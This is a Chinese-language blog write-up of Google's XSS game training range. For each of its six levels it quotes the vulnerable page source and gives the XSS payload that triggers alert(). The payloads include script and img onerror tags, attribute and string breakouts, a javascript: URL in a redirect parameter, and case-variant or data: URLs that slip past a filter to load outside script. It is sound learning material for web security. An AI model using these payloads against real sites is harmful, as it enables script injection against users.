Google XSS game
John_Frod Lv4

Google XSS game

这是谷歌的XSS靶场,每一关的过关条件是能够弹出alert()即可。

地址:https://xss-game.appspot.com/ (需要科学上网)

Level 1

image-20210308224534084

这是一个反射型XSS,直接输入最基本的XSS代码即可:

1
<script>alert(/xss/)</script>

Level 2

image-20210308224729370

留言板应用,显然是一个存储型XSS,尝试<script>标签无果,尝试使用<img>标签:

1
<img src=x onerror=alert(/xss/)>

Level 3

image-20210309093515031

这是一个页面嵌套,没有可见的可以利用的点,只能从源码入手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);

window.location.hash = num;

// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}

// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}

window.onload = function() {
chooseTab(unescape(self.location.hash.substr(1)) || "1");
}

// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(unescape(self.location.hash.substr(1)));
}
}, false);
</script>
  • 函数解释

parseInt():parseInt() 函数可解析一个字符串,并返回一个整数。

unescape():对通过 escape() 编码的字符串进行解码。

querySelectorAll():返回文档中匹配指定 CSS 选择器的所有元素,返回 NodeList 对象。NodeList 对象表示节点的集合。可以通过索引访问,索引值从 0 开始。

location.hash :hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。也就是说,他的作用是把URL的#以及#后面的数据取出来,

window.onload():方法用于在网页加载完毕后立刻执行的操作,即当 HTML 文档加载完毕后,立刻执行某个方法。

element.addEventListener(event, function, useCapture):方法用于向指定元素添加事件句柄。第一个参数是事件的类型 (如 “click” 或 “mousedown”)。第二个参数是事件触发后调用的函数。第三个参数是个布尔值用于描述事件是冒泡还是捕获。该参数是可选的。

html():方法设置或返回被选元素的内容(innerHTML)。当该方法用于返回内容时,则返回第一个匹配元素的内容。当该方法用于设置内容时,则重写所有匹配元素的内容。

  • 利用方法

我们知道页面会调用chooseTab函数,将url中#后面的字符串做为参数传入。我们需要构造一个字符串,使img标签加载的时候执行我们的代码。这里我们可以把 src 截断,这样他的图片肯定会报错,然后添加一个 onerror 事件执行alert(),最后还要把 img 标签后面的 >补齐

1
' onerror=alert()>

Level 4

image-20210309102640296

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />

<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
</html>

当我们在 index.html 页面输入时间后,就会把timer参数传递到 timer.html 页面中,在onload时间时就会触发startTimer函数,我们可以从这个onload事件进行利用,把前一句话闭合,加上自己构造的语句,最后还要把后面的给注释掉,这就是dom xss的利用方法:

1
');alert();//

Level 5

image-20210309104838145

这里有3个页面,分别是welcome,注册和确定

  • 查看源码

    • welcome.html
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <!doctype html>
    <html>
    <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
    </head>

    <body id="level5">
    Welcome! Today we are announcing the much anticipated<br><br>
    <img src="/static/logos/level5.png" /><br><br>

    <a href="/level5/frame/signup?next=confirm">Sign up</a>
    for an exclusive Beta.
    </body>
    </html>

    这里可以看到,下面的a标签的链接带了一个next参数到signup页面

    • signup.html
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <!doctype html>
    <html>
    <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
    </head>

    <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">

    <br><br>
    <a href="{{ next }}">Next >></a>
    </body>
    </html>

    在signup页面把welcome页面传过来的next参数直接解析放到了下面的a标签的链接中

  • 利用方法

我们可以直接在next参数中构造攻击语句,当用户点击a标签的时候该语句就能被执行

1
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert()

Level 6

image-20210309105632106

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />

<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}

function includeGadget(url) {
var scriptEl = document.createElement('script');

// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}

// Load this awesome gadget
scriptEl.src = url;

// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}

document.head.appendChild(scriptEl);
}

// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}

includeGadget(getGadgetName());

// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);

</script>
</head>

<body id="level6">
<img src="/static/logos/level6.png">
<img id="cube" src="/static/level6_cube.png">
<div id="log">Loading gadget...</div>
</body>
</html>

题目说得很清楚,利用外部js脚本执行alert()。但是对参数做了过滤,不能输入带有http://开头的参数,这里可以利用大小绕过:

1
Https://www.google.com/jsapi?callback=alert

也可以利用data类型的url代替http://

1
data:text,alert()

参考资料

google xss-game 题目解答

玩转Google的XSS游戏

  • Post title:Google XSS game
  • Post author:John_Frod
  • Create time:2021-03-10 12:01:12
  • Post link:https://keep.xpoet.cn/2021/03/10/Google XSS game/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.